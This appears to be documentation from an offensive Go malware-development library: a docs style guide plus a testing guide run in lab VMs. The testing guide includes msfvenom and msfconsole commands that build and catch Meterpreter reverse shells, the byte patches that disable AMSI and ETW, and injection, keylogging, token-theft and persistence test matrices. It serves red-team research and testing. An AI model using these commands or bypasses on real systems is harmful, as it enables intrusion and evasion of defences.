the () form. Examples:
T1003.001 (OS Credential Dumping: LSASS Memory)✅T1003.001 — OS Credential Dumping: LSASS Memory❌ (em-dash)T1071, T1573❌ (bundled, missing names)
Per-technique pages (docs/techniques/<area>/<file>.md)
The canonical skeleton lives in
docs/templates/technique-page.md
and is enforced by internal/tools/docgen --check-template in CI.
Section order (fixed) — omit a section if empty, never reorder:
# <Title>(H1, accessible vocabulary).- Front-matter —
package:(import path),mitre:(T-IDs). Nolast_reviewed/reflects_commit(these rot silently and were removed in G.6 —git logis authoritative). ## TL;DR— one sentence, concrete.## What it does— vulgarised primer, 2-4 paragraphs.## How it works— mechanism. Mermaid only if it shows real ordering / decision / sequence; max 1 per page.## Usage— minimal Go snippet with imports. Max 3 variants.## Non-obvious behaviour— bullet list of pitfalls + side effects + dependencies godoc doesn't surface clearly.## OPSEC & detection— artefacts ↔ defender vantage points, D3FEND counter-techniques.## MITRE ATT&CK— small table (T-ID, name, sub-coverage).## Limitations— known broken / not-yet-supported axes.## API → godoc— single pointer topkg.go.dev/.... NO handwritten signature tables — pkg.go.dev is the authoritative reference. (This was the dominant drift surface before G.5/G.6.)## See also— sibling pages + cookbook entries + external refs.
Banned patterns (the checker blocks PRs that introduce them):
## API Referencesection with handwritten### \Func(args)`` entries — recopies godoc, drifts on rename.last_reviewed:/reflects_commit:frontmatter — rotted on 100+ pages across 6 months before being removed.
Banned content: "Compared to Other Implementations" sections. We don't benchmark against tooling we don't ship.
Examples (example_test.go)
Mandatory — every public package. Tier names and what each demonstrates:
Example<Func>(Simple) — bare API, ≤10 LOC.// Output:line where deterministic.Example<Pkg>_with<OtherPkg>(Composed) — 2-3 packages chained.Example<Pkg>_chain(Advanced) — ≥4 packages, end-to-end.- Complex scenarios live in
docs/examples/*.mdas runnable narrative.
godoc renders example bodies regardless of //go:build gates. Tests gated
by MALDEV_INTRUSIVE etc. still surface as examples on pkg.go.dev.
Mermaid usage
Use Mermaid for:
- Flowcharts — architecture, dependency layers, decision trees.
- Sequence diagrams — technique execution sequences (e.g., AMSI patch resolution, sleepmask state transitions).
- State diagrams — multi-phase techniques (sleepmask Idle/Encrypted/ Sleeping/Decrypted/Active, herpaderping write/replace/run/restore).
- Class diagrams — type/interface relationships (e.g.,
Callerinterface implementations). - Mind maps — MITRE T-ID hierarchy in
docs/mitre.md.
Default to Mermaid over ASCII art when both work. Keep diagrams under 25 nodes; split into linked sub-diagrams beyond that.
Example syntax for sequence:
sequenceDiagram
Implant->>amsi: PatchScanBuffer(nil)
amsi->>ntdll: NtProtectVirtualMemory(RWX)
amsi->>amsi.dll: write 31 C0 C3
amsi->>ntdll: NtProtectVirtualMemory(RX)
amsi-->>Implant: original 3 bytes
Mermaid 11.2.0 strict-mode rules
mdbook-mermaid pins Mermaid 11.2.0 (see book.toml). Its parser
is stricter than older versions; the following patterns break the
gh-pages build silently (diagram renders as raw code):
- Quote multi-word
participant/actoraliases. Bareparticipant X as STA COM apartmentparses the alias asSTAonly and errors on the rest. Useparticipant X as "STA COM apartment". Same rule forsubgraphtitles in flow diagrams. - Use
%%for diagram comments, not#or//. - Avoid the Unicode em-dash
—inside message text. ASCII--or-works across themes. Same for "smart quotes": use ASCII"and'. - Self-loops (
Actor->>Actor: msg) are fine; nestedloop/alt/optblocks must close withend. note over X,Y: textrequires a comma between actors with no leading space.
When in doubt, quote — it's never wrong to quote.
GFM features to use
Reference: GitHub advanced formatting, GFM spec.
Always use
| Feature | Syntax | When |
|---|---|---|
| Alerts | > [!NOTE|TIP|IMPORTANT|WARNING|CAUTION] | OPSEC warnings, version gates, prerequisites. Replaces all **Warning:** bold prose. |
| Collapsibles | <details><summary>…</summary>…</details> | Long stack traces, build outputs, verbose code. Default-collapsed for material > 20 lines. |
| Footnotes | [^id] + [^id]: … | Citing CVEs, papers, original blog posts. |
| Task lists | - [x] done / - [ ] todo | Setup checklists, coverage matrices, step trackers. |
| Diff blocks | ```diff | Showing a patch (e.g., AMSI bytes before/after). |
| Permalink to code lines | https://github.com/.../blob/<sha>/file#L42-L60 | Cross-references from godoc → exact source range. Use SHA, never branch. |
| Math (LaTeX) | $…$ inline, $$…$$ block | Crypto algorithms, RC4 init, TEA round equations, hash math. |
| Tables w/ alignment | :---|:---:|---: | Comparison matrices, MITRE tables, capability matrices. |
| Mermaid | ```mermaid | All sequence/flow/state/class/mindmap diagrams. |
| Auto-linked refs | #1234, @user, full SHAs | Linking back to issues, mentions, commits. |
| Headings 1–6 | # … ###### | H1 once per page; H2 for sections; H3 for sub-sections. Don't skip levels. |
Conditional / niche
| Feature | Syntax | When |
|---|---|---|
| Subscript / Superscript | <sub>2</sub>, <sup>2</sup> | Math indices, version annotations (Win11<sub>24H2</sub>). |
| Underline | <ins>text</ins> | Rare. Prefer bold for emphasis. |
| Color swatches | `#RRGGBB`, `rgb(r,g,b)` | Inline colour visualisation. Could illustrate byte-pattern signatures. |
| Picture element (theme-aware) | <picture><source media="(prefers-color-scheme: dark)" …> | Diagrams with light + dark variants. |
| Strikethrough | ~~deprecated~~ | Marking removed APIs in CHANGELOG. |
| Emoji shortcodes | :rocket: | Sparingly; never in API references. |
| HTML comments | <!-- … --> | TOC markers, <!-- BEGIN AUTOGEN --> / <!-- END AUTOGEN --> boundaries. |
| Line break inside paragraph | trailing (2 spaces), \, or <br> | Sparingly; usually a paragraph break is correct. |
| File attachments (drag-drop) | (UI) | Issue/PR comments only — uploads to user-attachments CDN. Not for repo docs (use assets/ directory). |
GitHub-platform features (commit messages & PRs only)
These are not for docs in /docs, but they're part of the project's
authoring conventions and listed here so contributors know to use them.
| Feature | Syntax | When |
|---|---|---|
| Closing keywords | Closes #123, Fixes #456, Resolves #789 (also close, fix, resolve, closed, fixed, resolved) in commit/PR body | Auto-closes the linked issue when the PR merges to default branch. Always use lowercase form for consistency. |
| Cross-repo refs | org/repo#123 | Linking issues/PRs across repositories. |
| Commit-SHA refs | full or 7-char SHA in commit/PR body | Auto-links to the commit. Always paste full SHA in committed prose; GitHub auto-shortens display. |
| Mention shortcuts | @user and @org/team | Notify a person or team in a PR/issue/discussion. |
| Suggestion blocks | ```suggestion | In PR review comments only. Reviewer proposes a fix; author can apply with one click. |
| Reactions | (UI shortcut) | Emoji-react instead of "+1" comments. |
Not used in this project
| Feature | Reason |
|---|---|
| GeoJSON / TopoJSON maps | No geographic data. |
| STL 3D models | Not relevant. |
Raw HTML beyond <sub>/<sup>/<ins>/<details>/<summary>/<picture>/<br>/<!-- --> | Sanitisation strips most other tags; keeps surfaces consistent. |
Banned: images of code (always use code blocks); free-form **Note:**
prefixed paragraphs (use Alerts); raw <script>, <iframe>, <style> (stripped
by GitHub anyway).
README structure (root)
Length budget: ≤ 250 lines.
# maldev+ 1-line tagline.- Badges (Go version, license, MITRE technique count, test coverage).
## What is this?— ≤10 lines pitch covering audience, scope, and what makes it different.## Install— ≤5 lines.## Quick start— ≤30 lines, minimal runnable example.## Where to start— explicit role-based and topical entry points:- **Operator** → [docs/by-role/operator.md](...) - **Researcher** → [docs/by-role/researcher.md](...) - **Detection engineer** → [docs/by-role/detection-eng.md](...) Or browse: - **By technique area** → [docs/index.md](...) - **By MITRE ATT&CK ID** → [docs/mitre.md](...) - **API reference** → pkg.go.dev/github.com/oioio-space/maldev## Package map— ≤30 lines, 2-column tree (category → 5 packages max with one-liner). Detailed flat list lives indocs/index.md.## Build— ≤10 lines.## Acknowledgments,## License.
docs/index.md (navigation spine)
Required sections:
- By role — pointer to the 3 role pages.
- By technique area — 11 areas, each linking to
docs/techniques/<area>/README.md. - By MITRE ATT&CK ID — reverse-index, auto-generated.
- By package — flat alphabetical table of all public packages, auto-generated.
Auto-generation
internal/tools/docgen/main.go (to be added) walks go list ./..., parses doc.go
for the structured fields (MITRE T-IDs, Detection level, summary), and
regenerates:
README.md— Package map table.docs/index.md— "By package" + "By MITRE ATT&CK ID" sections.docs/mitre.md— full MITRE table.
Pre-commit hook runs internal/tools/docgen and fails the commit on diff. CI
re-checks. Tables are read-only handcraft-wise — edit the source
doc.go, regenerate.
Narrative content (per-technique markdown, role pages, README intro,
guides under docs/*.md) stays manual.
Versioning (YAML front-matter)
Every docs/**.md page starts with:
---
package: github.com/oioio-space/maldev/<area>/<pkg>
last_reviewed: 2026-04-27
reflects_commit: <short-sha>
---
last_reviewed is bumped by a pre-commit hook whenever the matching
*.go files change. reflects_commit is the SHA at the time of last
review. A six-month sweep flags pages with last_reviewed > 180 days ago.
README.md and docs/index.md use the same front-matter (package: is
omitted for these multi-package documents).
Voice and style
- Voice: active English. "The implant calls X. The library returns Y." Avoid "you/we/our".
- Tense: present tense for current behavior ("The patch returns 3 bytes"). Past tense for narrating runs/incidents ("The test failed on Win11 24H2 build 26100").
- Person: prefer named entity ("the operator", "the implant") over pronouns. Acceptable third-person impersonal ("the function").
- Code references: backticks for
funcName,varName,Pkg.Func. Italics for concepts, bold for key concepts (sparingly, ≤2 per paragraph). - Numbers: Arabic 1–9 inline; words for ten+ in prose ("four packages"); Arabic always for technical counts ("180 packages", "T1003.001").
- Acronyms: spell out first occurrence per page.
LSASS (Local Security Authority Subsystem Service)then plainLSASSthereafter. - Cross-references: link first mention of every package to its godoc.
Subsequent mentions plain
package. - External resources: prefer permanent links (
web.archive.org, paper DOIs, immutable GitHub blob URLs with SHA).
Migration order
Top-down, demonstrator-first, then sweep:
- New root
README.md+docs/index.md+ 3docs/by-role/*.mdpages. Land first to give immediate readability impact. - One demonstrator technique area — completely refactored with the
new template, all packages have
example_test.go. Acts as the reference for subsequent areas. Suggested:cleanup/*(small, well-bounded, mix of simple and complex). internal/tools/docgen+ pre-commit hook + CI gh-pages workflow. Once these exist, the autogen tables are live for any new doc.- Remaining technique areas, one PR per area:
c2,crypto+encode+hash,evasion,collection,credentials,inject,pe,persistence,process,recon,runtime,win. docs/architecture.md,docs/getting-started.md,docs/mitre.md(regenerated),docs/coverage-workflow.md(revised),docs/testing.md(revised).- Final pass: cross-link audit, breadcrumb uniformity, dead-link sweep.
Pre-commit checks (mandatory)
The pre-commit-checks skill is extended to include:
internal/tools/docgen --check— autogen tables are up to date.- Markdown link checker (e.g.,
lycheeormarkdown-link-check) — no dead links. doc.golinter — every public package has adoc.gomatching the template (MITRE section + Detection level + Example reference).last_reviewedbump — front-matter is updated when the corresponding*.gofiles change.- Per-tier example presence — every public package has at least
Example<Func>in<name>_example_test.go.
CI re-runs these checks on every PR.
Rules of engagement
- Never write a documentation file from memory of how things "used to be". Always grep the source first.
- Never edit a generated table by hand. Edit the source
doc.goor the generator. - Always add the role-page link "See also" entry when creating or editing a technique page.
- Always add an
example_test.gowhen adding a new public package. No exceptions. - Always front-matter every new
docs/**.mdfile. - When in doubt about Mermaid vs prose: try Mermaid; if it's > 25 nodes, split or fall back to prose with a screenshot.
Testing Guide — maldev
Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see
docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) seedocs/coverage-workflow.md.
Overview
The maldev project uses a multi-layered testing strategy:
- Unit tests (
go test ./...) — 64 packages, 500+ tests - VM integration tests (
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs - memscan binary verification (
internal/tools/vm-test-memscan) — 77 byte-pattern sub-checks read via the memscan HTTP API - Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
- BSOD verification — crashes the VM, restores the snapshot (uses the
cmd/vmtestdriver; seescripts/vm-test.ps1)
Running Tests
# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short
# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"
# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"
# VM — sweep all targets (windows + windows11 + linux)
./scripts/vm-run-tests.sh all "./..." "-count=1"
# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s
# memscan binary verification (77-row matrix, from host)
go run internal/tools/vm-test-memscan
# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below
Test Gating
| Environment Variable | Purpose |
|---|---|
MALDEV_INTRUSIVE=1 | Enable tests that modify system state (hooks, patches, injection) |
MALDEV_MANUAL=1 | Enable tests that need admin + VM (real shellcode, service manipulation) |
MALDEV_TEST_USER | Username for impersonation tests |
MALDEV_TEST_PASS | Password for impersonation tests |
Injection CallerMatrix
Tests every injection method × every syscall calling convention. 35 combinations tested.
| Method | WinAPI | NativeAPI | Direct | Indirect | Type |
|---|---|---|---|---|---|
| CreateThread | ✅ | ✅ | ✅ | ✅ | Self |
| EtwpCreateEtwThread | ✅ | ✅ | ✅ | ✅ | Self |
| CreateRemoteThread | ✅ | ✅ | ✅ | ✅ | Remote |
| RtlCreateUserThread | ✅ | ✅ | ✅ | ✅ | Remote |
| QueueUserAPC | ✅ | ✅ | ✅ | ✅ | Remote |
| NtQueueApcThreadEx | ✅ | ✅ | ✅ | ✅ | Remote |
| EarlyBirdAPC | ✅ | ✅ | ✅ | ✅ | Spawn |
| ThreadHijack | ✅ | ✅ | ⚠️ | ⚠️ | Spawn |
| CreateFiber | ⛔ | ⛔ | ⛔ | ⛔ | Self |
- ⚠️ ThreadHijack + Direct/Indirect:
NtGetContextThread/NtWriteVirtualMemoryfail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs - ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode
Standalone Injection Functions
| Function | Meterpreter Tested | Notes |
|---|---|---|
| SectionMapInject | ✅ SESSION_OK | Remote, uses Caller |
| KernelCallbackExec | ✅ SESSION_OK | Remote, no Caller |
| PhantomDLLInject | ✅ SESSION_OK | Remote, no Caller |
| ThreadPoolExec | ✅ SESSION_OK | Local, no Caller |
| ModuleStomp | ✅ SESSION_OK | Local, needs CreateThread for execution |
| ExecuteCallback (EnumWindows) | ✅ SESSION_OK | Local, synchronous |
| ExecuteCallback (TimerQueue) | ✅ SESSION_OK | Local, timer thread |
| ExecuteCallback (CertEnumStore) | ✅ SESSION_OK | Local, synchronous (Kali session 48 confirmed) |
| SpawnWithSpoofedArgs | ✅ SPOOF_OK | Process arg spoofing — real args executed, fake visible |
Meterpreter End-to-End
Prerequisites
- Kali VM running with MSF (ssh -p 2223 kali@localhost)
- Windows VM with Defender exclusions
- SSH key at
/tmp/vm_kali_key
Setup
# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'
# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin
# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin
Key Finding: MSF sleep trick
msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.
Results (2026-04-14)
22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).
Evasion Tests
AMSI Patch
| Function | WinAPI | NativeAPI | Direct | Indirect | Bytes Verified |
|---|---|---|---|---|---|
| PatchScanBuffer | ✅ | ✅ | ✅ | ✅ | 31 C0 C3 (xor eax,eax; ret) |
| PatchOpenSession | ✅ | ✅ | ✅ | ✅ | Conditional jump flipped (JZ → JNZ) |
| PatchAll | ✅ | ✅ | ✅ | ✅ | Both ScanBuffer + OpenSession patched |
ETW Patch
| Function | WinAPI | NativeAPI | Direct | Indirect | Bytes Verified |
|---|---|---|---|---|---|
| EtwEventWrite | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteEx | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteFull | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteString | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteTransfer | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| NtTraceEvent | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
Unhook
| Function | WinAPI | NativeAPI | Direct | Indirect | Verification |
|---|---|---|---|---|---|
| ClassicUnhook | ✅ | ✅ | ✅ | ✅ | Target: NtCreateSection, stub = 4C 8B D1 B8 |
| FullUnhook | ✅ | ✅ | ✅ | ✅ | All ntdll stubs = 4C 8B D1 B8 |
ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.
stealthopen Opener / Creator composition
stealthopen exposes a symmetric pair of optional interfaces that
mirror the *wsyscall.Caller pattern — nil falls back to the standard
os operation, non-nil routes through whatever stealth strategy the
caller wires up.
Read side — Opener: the unhook, phantomdll, and herpaderping
functions accept it. nil keeps the historic path-based os.Open /
windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes
reads through OpenFileById and makes path-based EDR file hooks blind
to the operation.
Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE
rewrite, and .syso emit paths accept it. nil falls back to
*StandardCreator (plain os.Create); non-nil lands the file through
the operator's primitive (transactional NTFS, encrypted-stream wrapper,
ADS, raw NtCreateFile, etc.). Byte-ready callers go through
stealthopen.WriteAll(creator, path, data); streaming producers
(lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the
returned io.WriteCloser directly.
| Package | Test file | Coverage |
|---|---|---|
evasion/stealthopen | opener_test.go (host) | Standard.Open, Use(nil)==Standard, fake opener pass-through; StandardCreator.Create, UseCreator(nil)==StandardCreator, fakeCreator pass-through; WriteAll nil/non-nil/Create-error propagation |
evasion/stealthopen | opener_windows_test.go (VM) | VolumeFromPath (drive/UNC/Win32/relative/empty), NewStealth round-trip via OpenFileById, Stealth.Open state validation, Stealth ignores caller's path argument |
evasion/unhook | opener_windows_test.go (VM, intrusive) | spyOpener counts: ClassicUnhook/FullUnhook each call Open exactly once on ntdll.dll; real Stealth round-trip proves full unhook still succeeds |
inject | phantomdll_opener_test.go (Windows build, host-safe) | spyOpener asserts PhantomDLLInject makes 2 opens on the same System32 DLL path (PE parse + NtCreateSection HANDLE) |
process/tamper/herpaderping | opener_windows_test.go (Windows build, host-safe) | spyOpener asserts payload+decoy reads both go through the Opener; empty DecoyPath → single call |
persistence/lnk | lnk_test.go (VM) | recordingCreator confirms WriteVia routes through the Creator's Create call with the expected path; nil fallback writes a non-empty .lnk via StandardCreator |
Run just the Opener / Creator paths:
./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"
Other Evasion
| Technique | Test | Verification |
|---|---|---|
| ACG Enable | TestACGBlocksRWX | VirtualAlloc(PAGE_EXECUTE_READWRITE) returns error after Enable() |
| BlockDLLs Enable | TestBlockDLLsPolicy | Process alive = policy set |
| Phant0m Kill | TestKillEventLogThreads | EventLog service threads terminated (TEB tag resolution) |
| Herpaderping Run | TestRunWithDecoy | Disk file = decoy content, not original payload |
| SleepMask Sleep | TestSleepMask_EncryptedDuringSleep | Bytes XOR-encrypted during sleep, restored after |
| SleepMask e2e | TestSleepMaskE2E_DefeatsExecutablePageScanner | Concurrent scanner cannot find canary during masked sleep; protection round-trips |
| AntiVM DetectVM | TestDetectVMInVirtualBox | Returns "VirtualBox" in VirtualBox VM |
| AntiVM DetectProcess | TestDetectVBoxProcess | Finds VBoxService.exe, VBoxTray.exe |
BSOD
Driven by cmd/vmtest + a target-side PowerShell harness (see
scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner
listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction
today is manual:
- Launch the harness via scheduled task (interactive session,
schtasks /Run). - The harness calls
cleanup/bsod.Trigger(nil). - First tries
NtRaiseHardError(intercepted on Win 10 22H2). - Falls back to
RtlSetProcessIsCritical(TRUE)+os.Exit(1). - VM crashes with
CRITICAL_PROCESS_DIED. - Operator restores the
INITsnapshot:virsh snapshot-revert <vm> --snapshotname INIT --forceorVBoxManage snapshot <vm> restore INIT.
SSN Resolver Verification
All 4 resolvers return identical SSNs for the same function:
| Function | SSN | HellsGate | HalosGate | Tartarus | HashGate |
|---|---|---|---|---|---|
| NtAllocateVirtualMemory | 0x0018 | ✅ | ✅ | ✅ | ✅ |
| NtProtectVirtualMemory | 0x0050 | ✅ | ✅ | ✅ | ✅ |
| NtCreateThreadEx | 0x00C2 | ✅ | ✅ | ✅ | ✅ |
| NtClose | 0x000F | ✅ | ✅ | ✅ | ✅ |
Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.
Collection
| Feature | Test | Verification |
|---|---|---|
| Screenshot | TestCapture | PNG magic bytes 89 50 4E 47 |
| Screenshot bounds | TestDisplayBounds | Width/height > 0 |
| Clipboard read | TestReadText | No crash |
| Clipboard roundtrip | TestReadTextRoundtrip | Set-Clipboard → ReadText = exact match |
| Clipboard watch | TestWatch | Channel closes on context cancel |
| Keylog hook install | TestStart | Hook installs + channel open |
| Keylog capture | TestCaptureSimulatedKeystrokes | SendInput(VK_A) → KeyCode=0x41 |
| Keylog cancel | TestStartCancel | Channel closes on timeout |
Token Operations
| Function | Test | Verification |
|---|---|---|
| Steal (self) | TestStealSelf | Valid token from own PID |
| Steal (remote) | TestImpersonateTokenFromRemoteProcess | Steal notepad token + impersonate |
| OpenProcessToken | TestOpenProcessTokenSelf | Token handle non-zero |
| UserDetails | TestTokenUserDetails | Username non-empty |
| IntegrityLevel | TestTokenIntegrityLevel | Returns string (Medium/High/System) |
| Privileges | TestTokenPrivileges | At least one privilege listed |
| Enable/Disable | TestEnableDisablePrivilege | Round-trip toggle |
| ImpersonateToken | TestImpersonateToken | Token-based (no credentials) |
Persistence
| Mechanism | Test | Verification |
|---|---|---|
| Registry Run key | TestSetAndGet + TestDelete | Full CRUD lifecycle (Set → Get → Exists → Delete) |
| Scheduler task | TestCreateAndDelete | Create → Exists=true → Delete → Exists=false |
| LNK Save (disk via WScript.Shell) | TestSave | .lnk produced is non-empty under t.TempDir |
| LNK BuildBytes (zero-disk via IShellLinkW + IPersistStream) | TestBuildBytes + TestBuildBytesNoArtefact | Header byte = 0x4C; no maldev-lnk-* directory left in TEMP |
| LNK WriteTo (zero-disk → io.Writer) | TestWriteTo | Bytes equal to BuildBytes round-trip into bytes.Buffer |
| LNK WriteVia (zero-disk → stealthopen.Creator) | TestWriteVia_NilUsesStandardCreator + TestWriteVia_DelegatesToCreator | nil falls back to os.Create; recordingCreator captures the right path |
| LNK SetIconLocationIndexed | TestSetIconLocationIndexed | Builder packs (path, index) into the WSH "path,N" form |
| LNK Hotkey parser | TestParseHotkey | 8 cases — Ctrl/Alt/Shift/Control aliases, F1/F-out-of-range, single-letter, single-digit, unsupported keys |
Cleanup
| Function | Test | Verification |
|---|---|---|
| SelfDelete (script) | TestRunWithScriptInChild | Binary file removed from disk |
| Timestomp Set | TestSet | File mtime changed |
| Timestomp CopyFrom | TestCopyFrom | Destination times match source |
| Memory WipeAndFree | TestWipeAndFree | VirtualQuery returns MEM_FREE |
PE Operations
| Function | Test | Verification |
|---|---|---|
| BOF Load | TestLoad | Parses COFF headers, validates machine type |
| BOF Execute | TestExecuteNopBOF | Runs nop.o without crash |
| PE Parse | TestOpenValidPE | Sections, imports, exports parsed |
| PE Strip timestamp | TestSetTimestamp | Timestamp changed |
| PE Sanitize | TestSanitize | Pclntab F1FFFFFF wiped + sections renamed |
| PE Morph UPX | TestUPXMorph | Section names randomized |
| sRDI ConvertDLL | TestConvertDLL | Shellcode generated from DLL |
Linux Testing
Injection Methods
| Method | Test | Result | Verification |
|---|---|---|---|
| /proc/self/mem | TestProcMemSelfInject | ✅ | Child writes via /proc/self/mem, prints PROCMEM_OK |
| memfd_create | TestMemFDInject | ✅ | Creates anonymous fd, ForkExecs /bin/true ELF copy |
| ptrace | TestPtraceInject | ✅ | Spawns sleep target, attaches via ptrace, injects |
| purego (mmap+exec) | TestPureGoExec | ✅ | mmap RWX + direct call (no CGO) |
| procmem crash verify | TestProcMemVerification | ✅ | Injection → SIGSEGV = shellcode executed |
Linux Debugger Equivalent
Instead of x64dbg, Linux verification uses:
/proc/PID/maps— read memory layout, find RWX regions/proc/PID/mem— read/write process memory directly- GDB (
gdb -p PID) — available on Ubuntu VM for interactive debugging - strace — trace syscalls (memfd_create, mmap, ptrace)
Running Linux Tests
# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"
# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s
# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s
# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s
Linux e2e Results
| Test | Result | Notes |
|---|---|---|
| TestShellPTYLinux | ✅ PASS | PTY echo + command output verified |
| TestShellPTYLinuxLifecycle | ✅ PASS | Start/stop/reconnect lifecycle |
| TestMeterpreterRealSessionLinux | ✅ PASS | Session 1 opened on Kali (192.168.56.200:4444 → 192.168.56.103) |
Platform Test Summary
| Platform | Packages OK | FAIL | Injection Methods | Meterpreter |
|---|---|---|---|---|
Windows 10 (VM win10) | 64 | 0 | 9 methods × 4 callers + 12 standalone | 22 sessions |
Windows 11 (VM win11-2) | TBD per run — see deltas below | varies | same matrix as win10; remote-thread methods bite on Win11 | TBD |
| Ubuntu 25.10 (VM) | 26 | 0 | 4 methods (procmem, memfd, ptrace, purego) | 1 session (Linux meterpreter) |
Win10 → Win11 cross-version deltas (run captured 2026-04-26)
The windows11 test target (VM win11-2, build 26100 / Win11 24H2)
exposes mitigations Win10 22H2 doesn't. Categories:
| Site | Win10 | Win11-2 | Likely cause |
|---|---|---|---|
cleanup/selfdelete/TestDeleteFile{,Force} | PASS | FAIL | Win11 changes to MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics |
evasion/hook test binary | PASS* | build failed (Defender quarantine) | Win11 Defender def signatures flag the test EXE — fixed via Defender exclusions in bootstrap-windows-guest.ps1 (re-snapshotted 2026-04-26) |
pe/srdi test binary | PASS* | quarantined | Same Defender root cause; same fix |
inject/TestCallerMatrix_RemoteInject (CRT/RtlCUT/QUAPC/NtQAPCEx × WinAPI+Direct) | PASS | 8 sub-fails | Win11 hardening on cross-process write + thread-create primitives |
process/tamper/fakecmd/TestSpoofPID | PASS | FAIL | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS tighter on Win11 (consistent with the PPIDSpoofer known-limitation already noted on Win10 22H2 — gap widened on Win11) |
process/tamper/herpaderping/TestRunWithDecoy{,VerifyProcessCreated} | PASS | FAIL | Win11 image-load notify changes break the herpaderping primitive |
recon/dllhijack/TestValidate_OrchestrationEndToEnd | FAIL (timing flake) | PASS | Orchestration timing — not a Win11 regression |
* On a clean Defender state. Defender signatures rotate; the evasion/hook
and pe/srdi quarantines were observed on win10 in run 2 even though
they passed on run 1. The bootstrap script now installs path +
process exclusions on first provision (see
scripts/vm-test/bootstrap-windows-guest.ps1).
These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:
- Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
fakecmd/herpaderping→ mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.selfdelete→ research the Win11 rename-on-reboot regression; check whether the newFILE_RENAME_INFO+FILE_DISPOSITION_INFO_EXpath needs an alternate code path.
PPID Spoofing
The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
| Function | Test | Result | Notes |
|---|---|---|---|
| ParentPID | TestParentPID | ✅ | Returns parent PID of current process |
| NewPPIDSpoofer | TestNewPPIDSpoofer | ✅ | Constructor, default targets |
| FindTargetProcess | TestPPIDSpooferFunctional | ⚠️ SKIP | Exploit Guard blocks CreateProcess with spoofed parent on Win 10 22H2 |
| SysProcAttr | TestPPIDSpooferSysProcAttrNoTarget | ✅ | Error on missing target |
